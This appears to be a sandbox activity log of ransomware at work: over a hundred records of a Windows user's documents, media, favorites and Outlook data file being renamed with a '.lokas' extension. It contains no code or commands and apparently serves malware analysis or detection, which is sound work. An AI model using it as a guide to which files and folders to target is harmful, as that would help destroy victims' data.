Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\ILhT5zZ.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\pfRFKMTfN10.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\9fRp-4.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZfckCSU\wHKNWO5Q.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\fgxmTkEjRL27_o2q72fI.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\IBpqG xe.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\KNu0v4uNuDK.ppt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\LqsXYT88UnYHPGG.odp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\_IRX.ots True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\f8r--X3OSbeFEYiVN.rtf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\R1kbSLdh_IvtktRmk7t.pdf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\VFBl.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\0CFbxAy-0SvJS.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\0CFbxAy-0SvJS.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\GHOfFfFzI8.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\GHOfFfFzI8.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\hFVVS1xw-2S_rl9p.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\hFVVS1xw-2S_rl9p.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\IXZXtSgfL.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\IXZXtSgfL.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\6PEBEYDG2Dl Ypm.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\6PEBEYDG2Dl Ypm.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\kn7-WiFR3rujU.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\kn7-WiFR3rujU.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\aYWMtsRSMh4xlAF.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\aYWMtsRSMh4xlAF.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\z0DV-nH713.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\sphBhtbT_QiWSj7\z0DV-nH713.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\Uag_IA1McKV7kb4hkLtv.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\Uag_IA1McKV7kb4hkLtv.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\UIAiOYKV.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\XkpT\UIAiOYKV.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\3oPkmG2kZIXytM.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\3oPkmG2kZIXytM.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\fg5Tftc5bYHg.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\fg5Tftc5bYHg.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\FVUMXkiyq2-WfIZg4u.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\FVUMXkiyq2-WfIZg4u.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\QZHW.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\QZHW.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\uJ3cV5w.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\yf0o9NR3_2P\uJ3cV5w.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\j5qSofvzE 2tyS.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\j5qSofvzE 2tyS.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\orTEBhay2M.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\orTEBhay2M.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\tThj-wykSa.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\ah_F5t-gNj G55YNh\tThj-wykSa.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-pcR.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-pcR.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\05G_LmHEj.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\05G_LmHEj.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\Ui1Z5x.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\Ui1Z5x.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\yYTHpZ.gif.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\yYTHpZ.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\28siJ1ZaOTT jFmj9.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\28siJ1ZaOTT jFmj9.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\C7RDGhTmRw.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\C7RDGhTmRw.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\DF7W-ioIXDGyi.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\DF7W-ioIXDGyi.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\lGFkkME zcgUcKPwW.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\lGFkkME zcgUcKPwW.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\Mlv U.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\Mlv U.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\P9Cjj3pY.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\P9Cjj3pY.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\QYJjEVaChD.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\QYJjEVaChD.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\uEaYKvIwFNXXcH.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\uEaYKvIwFNXXcH.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\_DV1djZRO6HrvdW.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\_DV1djZRO6HrvdW.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\7G92TLT2aibLnqW9.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\7G92TLT2aibLnqW9.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\dzqnkLYWkOSFhsfv3iD.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\dzqnkLYWkOSFhsfv3iD.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\mbb0w07kHww2pr82rg.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\goII1-LdorQgUUB\ORstBJ1VPIG9\mbb0w07kHww2pr82rg.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\3gAPurutQ.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\3gAPurutQ.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\IqJdt.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\IqJdt.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\KKFvXL.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\KKFvXL.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\R1x5k3YmCRal8c.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\HGaFtV5-DZyJzVdJztj\Y27 OmlRA4RK\R1x5k3YmCRal8c.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\GqakYJ2tn.csv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\GqakYJ2tn.csv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\iYOC0ixnRNev.ods.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\iYOC0ixnRNev.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\xsO51AJTi7MU9pz.pps.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\JSm4d1BJPHQ\0M_4R\xsO51AJTi7MU9pz.pps True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\33JwnX15M.doc.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\33JwnX15M.doc True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\CyQ1zELUPbdOjYz ywT.docx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\CyQ1zELUPbdOjYz ywT.docx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\fs6kSG1.odp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\fs6kSG1.odp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\gM98N.pptx.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\gM98N.pptx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\l9dC5aknZTWdmKKvqlm.csv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\l9dC5aknZTWdmKKvqlm.csv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\zVmzUfndIDa.odt.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Pq4NefK2nb\HFINH644f-n\zVmzUfndIDa.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\bXuv7Kr.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\bXuv7Kr.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\NQaj65yBu.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\NQaj65yBu.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\o8Sr vo8q.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\o8Sr vo8q.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\TYEA-rvS 3rsEuch t9.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\TYEA-rvS 3rsEuch t9.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\wnSkHC7pPCEgbv.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\-TLy_J8Ns_RLp6c\zGt1XNDmrV\wnSkHC7pPCEgbv.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\3bqs.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\3bqs.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\BbC0Q0jvmYL.mp3.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\BbC0Q0jvmYL.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\e9nY1u2m2V1c.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\e9nY1u2m2V1c.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\JrOA.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\JrOA.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\N1d3Q3G.wav.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\N1d3Q3G.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\PAsjf4nYr6e 3H6J0qdm.m4a.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\A4vkI9e1vjo-F4U\YSyKK-\PAsjf4nYr6e 3H6J0qdm.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\-hYGW.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\-hYGW.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\eaqkAaATiy4vA1L_sgH.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\eaqkAaATiy4vA1L_sgH.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\mklzxgV5YwITzd7xAiCs.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\-sBK\mklzxgV5YwITzd7xAiCs.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\1CZf.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\1CZf.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hkphs.jpg.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hkphs.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hyr6lELoPH.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\hyr6lELoPH.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\r3e9e6Vc2_5M_J.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\r3e9e6Vc2_5M_J.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\SiWeViFY67M8JO.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\SiWeViFY67M8JO.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\Spxtx_LrRLrVN.bmp.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\Spxtx_LrRLrVN.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\ZtqB_jTHdl.png.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\sUk0Y3qYq\nHxhzgevO\ZtqB_jTHdl.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\2aXyp-c.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\2aXyp-c.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\6-LS.mp4.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\6-LS.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\fwQ65MT5dR.mkv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\fwQ65MT5dR.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\geqhaSg2pOLrJRy5.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\geqhaSg2pOLrJRy5.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\OUrgxG kKstMI-V0g.swf.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\OUrgxG kKstMI-V0g.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ug0C_FP8M8f2wAb8X.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ug0C_FP8M8f2wAb8X.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ZPzcZ2.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\2thhAn\ZPzcZ2.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\0Sz9y4pM1liLnHW.avi.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\0Sz9y4pM1liLnHW.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9e9qSq13H.flv.lokas source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\UPwDwhS0XEfMIW\7r1aCEiG-x8wNN0nCd\9e9qSq13H.flv True 1
Fn
